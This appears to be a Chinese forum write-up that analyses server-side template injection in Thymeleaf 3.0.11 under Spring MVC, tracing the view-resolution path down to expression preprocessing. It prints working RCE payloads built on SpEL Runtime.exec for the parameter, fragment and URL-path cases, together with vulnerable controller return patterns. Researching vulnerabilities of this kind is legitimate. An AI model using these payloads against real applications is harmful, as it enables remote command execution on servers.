Thymeleaf模板注入

Thymeleaf是众多模板引擎的一种和其他的模板引擎相比,它有如下优势:

  • Thymeleaf使用html通过一些特定标签语法代表其含义,但并未破坏html结构,即使无网络、不通过后端渲染也能在浏览器成功打开,大大方便界面的测试和修改。
  • Thymeleaf提供标准和Spring标准两种方言,可以直接套用模板实现JSTL、 OGNL表达式效果,避免每天套模板、改JSTL、改标签的困扰。同时开发人员也可以扩展和创建自定义的方言。
  • Springboot官方大力推荐和支持,Springboot官方做了很多默认配置,开发者只需编写对应html即可,大大减轻了上手难度和配置复杂度。

基础语法

选择变量表达式

变量表达式也可以写为*{...}。星号语法对选定对象而不是整个上下文评估表达式。也就是说,只要没有选定的对象,美元(${…})和星号(*{...})的语法就完全一样。

<span th:text="'Hello, ' + ${message}"></span>
  • ${message}:这是Thymeleaf的变量表达式,用于访问模型中的属性。在Spring MVC控制器中,你可以将数据添加到模型中,然后在Thymeleaf模板中引用这些数据。

片段表达式

Thymeleaf中的片段表达式(Fragment Expression)是用来定义和引用模板片段的一个强大功能。这种机制允许你将页面的不同部分拆分为独立的片段(fragments),并在需要的地方进行引用和包含。这有助于提高代码的复用性和维护性。

片段定义使用 th:fragment 属性。你可以在模板文件中定义一个片段,例如头部、导航栏或页脚等。

<!DOCTYPE HTML>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<head>
    <title>Thymeleaf Fragments Example</title>
</head>
<body>
    <div th:fragment="header">
        <h3>Spring Boot Web Thymeleaf Example</h3>
    </div>

    <div th:fragment="main">
        <span th:text="'Hello, ' + ${message}"></span>
    </div>
</body>
</html>

在这个示例中,我们定义了两个片段:

  • header:包含一个标题。
  • main:包含一个动态内容的 span 标签。

片段引用使用 th:insertth:replaceth:include 属性。这些属性允许你在另一个模板文件中引用和包含定义好的片段。

假设你有一个主模板文件,需要引用之前定义的片段:

<!DOCTYPE HTML>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<head>
    <title>Main Template</title>
</head>
<body>
    <div th:insert="~{fragments :: header}"></div>

    <div th:insert="~{fragments :: main}">
        <span th:text="'This is a placeholder'"></span>
    </div>
</body>
</html>

在这个示例中,我们引用了两个片段:

  • fragments :: header:引用 header 片段。
  • fragments :: main:引用 main 片段。

漏洞环境搭建

我们使用这个项目

然后还需要自己的Spring的一个环境,把你的代码按照它的复制进去就好了

主要是我们的pox.xml中

thymeleaf版本必须为3.0.11

<dependency>
            <groupId>org.thymeleaf</groupId>
            <artifactId>thymeleaf-spring5</artifactId>
            <version>3.0.11.RELEASE</version>
        </dependency>

调试分析

这个是一个典型的mvc结构,我们按照这个逻辑调试分析,也就是SpringMVC 视图解析过程分析

handler封装ModelAndView对象

我们知道这个是前后端分离的,我们还是来到DispatcherServlet#doDispatch方法,所有的request和response都会经过该方法,我们看到封装我们对象的过程

mv = ha.handle(processedRequest, response, mappedHandler.getHandler());

一路跟进

来到invokeHandlerMethod方法,代码很长,只看关键,首先new了一个ModelAndViewContainer,然后初始化 ModelAndViewContainer,其他都不重要,然后调用处理器方法并处理结果

跟进invokeAndHandle,调用了invokeForRequest为我们的returnValue赋值,内部是先获取参数值,然后发反射赋值

回到invokeAndHandle,调用returnValueHandlers.handleReturnValue去处理我们的返回值

handleReturnValue先挑选一个合适的处理器去处理

继续跟进handleReturnValue,重点就是为我们的mavContainer设置了viewName这个值

一路回到invokeHandlerMethod这个方法

处理完成后准备去获取我们的ModelAndView对象了

return getModelAndView(mavContainer, modelFactory, webRequest);

可以看到实例化了一个ModelAndView对象,传入我们的关键参数,也就是我们自己的输入

然后就完成了封装ModelAndView对象,回到doDispatch方法

处理ModelAndView对象获取view

来到processDispatchResult方法

传入了我们的对象,准备解析

processDispatchResult(processedRequest, response, mappedHandler, mv, dispatchException)

调用了render(mv, request, response);准备渲染视图

render方法

获取我们的视图名称之后view = resolveViewName(viewName, mv.getModelInternal(), locale, request);使用resolveViewName来解析,为什么是解析这个名字

视图名称是控制器方法返回的一个逻辑名称,它需要被解析为具体的视图对象才能渲染最终的输出

可以看到有很多视图解析器是可以来解析的,循环调用

因为我的是使用tomcat搭建的环境

但是我们的逻辑的是应该在ThymeleafViewResolver中获取视图,实际是ContentNegotiatingViewResolver中已经获取到了视图

跟进ContentNegotiatingViewResolver#resolveViewName

其中调用getCandidateViews方法,获取所有的视图,然后看下一步,是返回最合适的

跟进getCandidateViews方法,可以看见就是循环调用解析器去解析,然后将获得的结果add进去

渲染view

返回我们的view后,调用对应的

之后调用ThymleafView#render渲染render方法中又通过调用renderFragment完成实际的渲染工作

  • 当TemplateName中不包含::则将viewTemplateName赋值给templateName
  • 如果包含::则代表是一个片段表达式,则需要解析templateNamemarkupSelectors

比如当viewTemplateName为welcome :: header则会将welcome解析为templateName,将header解析为markupSelectors。这也是我们的payload最后为::x的原因

获取我们的模板名称后我们直接看到解析的地方

熟悉sqel表达式注入的就很清楚,这有猫腻

这是我们正常解析spel的代码例子,这里也是这样的

public class test_Template {
    public static void main(String[] args) {
        SpelExpressionParser spelExpressionParser =new SpelExpressionParser();
        TemplateParserContext templateParserContext =new TemplateParserContext();
        Expression expression = spelExpressionParser.parseExpression("The random number is #{T(java.lang.Math).random()} and the 1+1=#{1+1}",templateParserContext);
        String exp =expression.getValue(String.class);
        System.out.println(exp);
    }
}

但是解析的逻辑还是不一样的,我们具体看看,可以看到是把我们的输入放到preprocess方法进行预处理,然后把结果再次解析

跟进preprocess方法,关键是符合正则匹配,就会把我们的

把我们的String先截取留下spel表达式部分

然后StandardExpressionParser.parseExpression再去解析

~{user/__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()}__::.x/welcome}

${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()}

经过解析变为真正的spel表达式

expression.execute执行表达式

这也是我们漏洞的原因

不同类型区别

因为上面我是以传入参数型为例子的,如果是url path型呢?

区别会在我们的paylaod会来自于applyDefaultViewName方法

applyDefaultViewName-->getDefaultViewName(request)--getViewName

getViewName方法,可以看到是获取我们的path,然后经过transformPath后返回

String path = ServletRequestPathUtils.getCachedPathValue(request);
return (this.prefix + transformPath(path) + this.suffix);

重点在圈出来的地方

可以看到会对我们的文件进行一个截取,但是我们的payload有点,为了不让paylaod被截取,自己写一个.上去,然后随便加点东西就好了

一些思考和问题

关于payload的构造

为什么payload需要那样

首先我们的paylaod是根据控制器的return决定的,拿这次的代码

return "user/" + lang + "/welcome"

其中我们的lang可以控制
输入之后变成了

user/__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()}__::.x/welcome

::需要的原因说过了

为什么需要__${...}__也说过,为了匹配过去

为什么最后剩下的恰好是表达式内容呢

关注我们改变这端字符串的代码

第一个是去除前面的~{user/,第二个得好好讲讲,我举个例子

String input = "abc::.x";
String regex = "(abc)::(\\..)";
Pattern pattern = Pattern.compile(regex);
Matcher matcher = pattern.matcher(input);

这个正则表达式包含两个捕获组:

  1. (abc):匹配字符串 abc
  2. (\\..):匹配点号 . 后跟一个字符。

匹配过程

  1. 匹配整个正则表达式
    • 正则表达式 (abc)::(\\..) 会匹配整个字符串 abc::.x
  2. 匹配第一个捕获组
    • 第一个捕获组 (abc) 匹配 abc
  3. 匹配第二个捕获组
    • 第二个捕获组 (\\..) 匹配 ..x 中的 .x

在匹配成功的情况下,group(int group) 方法会返回各个捕获组的匹配结果:

if (matcher.find()) {
    System.out.println("Group 0: " + matcher.group(0)); // 整个匹配结果
    System.out.println("Group 1: " + matcher.group(1)); // 第一个捕获组
    System.out.println("Group 2: " + matcher.group(2)); // 第二个捕获组
}
Group 0: abc::.x
Group 1: abc
Group 2: .x
  1. matcher.group(0)

    • group(0) 返回整个匹配结果,即 abc::.x
  2. matcher.group(1)

    • group(1) 返回第一个捕获组的匹配结果,即 abc
  3. matcher.group(2)

    • group(2) 返回第二个捕获组的匹配结果,即 .x

    按照我们的这个代码逻辑group(1)就是__之间的内容,所以删去.x是无所谓的,只是这个在后面会用到,然后还可以改变::的位置

关于预处理

预处理是在正常表达式之前完成的表达式的执行,允许修改最终将执行的表达式。

预处理的表达式与普通表达式完全一样,但被双下划线符号(如__${expression}__)包围。

个人感觉这是出现SSTI最关键的一个地方,预处理也可以解析执行表达式,也就是说找到一个可以控制预处理表达式的地方,让其解析执行我们的payload即可达到任意代码执行

path类型为什么需要.

因为上面我是以传入参数型为例子的,如果是url path型呢?

区别会在我们的paylaod会来自于applyDefaultViewName方法

applyDefaultViewName-->getDefaultViewName(request)--getViewName

getViewName方法,可以看到是获取我们的path,然后经过transformPath后返回

String path = ServletRequestPathUtils.getCachedPathValue(request);
return (this.prefix + transformPath(path) + this.suffix);

重点在圈出来的地方

可以看到会对我们的文件进行一个截取,但是我们的payload有点,为了不让paylaod被截取,自己写一个.上去,然后随便加点东西就好了

漏洞复现

中间型

return "user/" + lang + "/welcome

使用刚刚的环境和代码

两边型

return "welcome :: " + section

这个使用第一个的paylaod可以执行命令,但是不会有回显

__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__

研究了很久的原因都没有很找到,看其他文章感觉说的也是错的

path型

/doc/{document}

这种payload是没有回显的

/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x

但是多加了一个点就有回显了

/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::..x

调试了还是不懂,感觉问题是出现在这里判断缓存

点击收藏 | 1 关注 | 1 打赏
  • 动动手指,沙发就是你的了!
登录 后跟帖